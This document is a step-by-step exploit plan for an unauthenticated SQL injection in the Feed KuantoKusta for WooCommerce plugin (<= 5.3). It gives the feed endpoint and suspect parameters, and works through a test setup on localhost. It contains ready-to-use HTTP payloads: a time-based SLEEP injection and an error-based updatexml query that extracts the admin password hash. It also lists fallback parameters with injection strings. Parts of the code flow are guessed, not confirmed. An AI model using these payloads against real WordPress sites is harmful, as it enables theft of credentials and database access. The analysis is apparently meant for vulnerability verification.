Feed KuantoKusta for WooCommerce – Free <= 5.3 - Unauthenticated SQL Injection

This research plan outlines the steps to verify and exploit an unauthenticated SQL injection vulnerability in the Feed KuantoKusta for WooCommerce – Free plugin (versions <= 5.3).

1. Vulnerability Summary

The vulnerability exists in the product feed generation logic of the plugin. Specifically, the WC_Feed_KuantoKusta::render_feed() method (invoked via the add_products_feed hook on init) processes user-supplied parameters from the URL (likely paged) to filter or paginate the feed. These parameters are concatenated directly into a raw SQL query executed via $wpdb->get_col or $wpdb->get_results without using $wpdb->prepare() or proper integer casting (e.g., absint()). This allows an unauthenticated attacker to inject arbitrary SQL commands.

2. Attack Vector Analysis

• Endpoint: /?feed=kuantokusta
• Vulnerable Parameter: paged (or potentially tax_id / category_id if present in version 5.3). Based on the patch analysis for similar plugins by the same author, paged is the most common sink in their feed generators.
• Authentication: Unauthenticated. Feed generation is a public feature designed for price comparison bots.
• Preconditions:
  • WooCommerce must be active.
  • At least one product should be published to ensure the query logic is fully exercised.

3. Code Flow

1. Hook Registration: In includes/class-wc-feed-kuantokusta.php, the init_hooks() method registers add_products_feed on the WordPress init hook:

   add_action( 'init', array( $this, 'add_products_feed' ) );
   

2. Trigger: When a request contains feed=kuantokusta, the add_products_feed() method is executed.
3. Feed Rendering: add_products_feed() calls render_feed().
4. SQL Sink: Inside render_feed(), the plugin retrieves the paged parameter from $_GET['paged'] or get_query_var('paged').
5. Vulnerable Query: The value is used to calculate the LIMIT or OFFSET or is directly concatenated into a query like:

   $paged = $_GET['paged']; // Unsanitized
   $results = $wpdb->get_col("SELECT ID FROM {$wpdb->posts} WHERE ... LIMIT 100 OFFSET " . ($paged-1)*100 );
   // Note: If $paged is a string like "1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)",
   // and the code doesn't cast to int, it can break out of the intended query.
   

4. Nonce Acquisition Strategy

No nonce is required.
The feed generation functionality is intentionally public to allow KuantoKusta's external servers to fetch the XML product feed. There are no nonce checks or capability checks (current_user_can) in the add_products_feed or render_feed code paths.

5. Exploitation Strategy

We will use a time-based blind SQL injection to confirm the vulnerability, as it is the most reliable method for unauthenticated testing without needing to know the exact XML structure or column count for a UNION-based attack.

Step 1: Confirmation of Feed Access

First, verify that the feed endpoint is active and returning data.

• Request: GET /?feed=kuantokusta
• Expected: An XML response starting with <?xml containing product data.

Step 2: Time-Based SQL Injection (SLEEP)

Attempt to trigger a delay using the paged parameter.

• Request:

  GET /?feed=kuantokusta&paged=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a) HTTP/1.1
  Host: localhost
  

• Analysis: If the response takes approximately 5 seconds longer than the baseline, the injection is successful.

Step 3: Data Extraction (Error-Based)

If the site has WP_DEBUG enabled, we can attempt to extract the admin password hash directly using updatexml or extractvalue.

• Request:

  GET /?feed=kuantokusta&paged=1%20AND%20updatexml(1,concat(0x7e,(SELECT%20user_pass%20FROM%20wp_users%20LIMIT%201),0x7e),1) HTTP/1.1
  Host: localhost
  

• Expected: A database error message containing the password hash (e.g., XPATH syntax error: '~$P$B...').

6. Test Data Setup

1. Activate WooCommerce: Ensure the plugin is active and configured.
2. Create a Product:

   wp post create --post_type=product --post_status=publish --post_title="Test Product"
   

3. Ensure Plugin is Active:

   wp plugin activate woocommerce feed-kuantokusta-for-woocommerce
   

7. Expected Results

• Baseline: GET /?feed=kuantokusta returns quickly (< 500ms).
• Exploit: GET /?feed=kuantokusta&paged=1%20AND%20(SELECT...SLEEP(5)...) returns after ~5 seconds.
• Data Leak: The SQL error or time delay confirms that user input is being processed as part of the database query.

8. Verification Steps

After the exploit, verify the vulnerability status using WP-CLI to check the database logs or error states (if enabled):

1. Check if any new entries appeared in the error log.
2. Manually run the same query via wp db query to see if it executes as expected:

   wp db query "SELECT ID FROM wp_posts WHERE post_type = 'product' LIMIT 1 OFFSET 1 AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)"
   

9. Alternative Approaches

If paged does not yield results, try the following parameters which are common in feed filtering:

• kk_paged
• tax_id
• cat_id
• category

Example for tax_id:
/?feed=kuantokusta&tax_id=1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a